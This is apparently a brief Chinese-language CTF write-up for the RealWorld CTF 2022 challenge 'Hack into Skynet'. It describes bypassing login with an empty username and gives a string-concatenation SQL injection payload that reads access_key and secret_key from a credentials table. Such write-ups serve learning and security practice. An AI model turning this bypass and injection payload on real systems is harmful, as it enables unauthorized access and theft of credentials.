> For the complete documentation index, see [llms.txt](https://gitbook-88.gitbook.io/ctf-writeup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://gitbook-88.gitbook.io/ctf-writeup/2022/2022-realworld-ctf-4th/hack-into-skynet.md).

# Hack into Skynet

阅读源码后可以发现逻辑漏洞，通过提交username=\&password=xxx的方式绕过登录验证。

跳转路由到/下，阅读源码，可以发现存在字符串拼接型的查询语句，可以通过一下方式查询并获取flag：

```
xxx';select access_key,secret_key from target_credentials offset '0
```
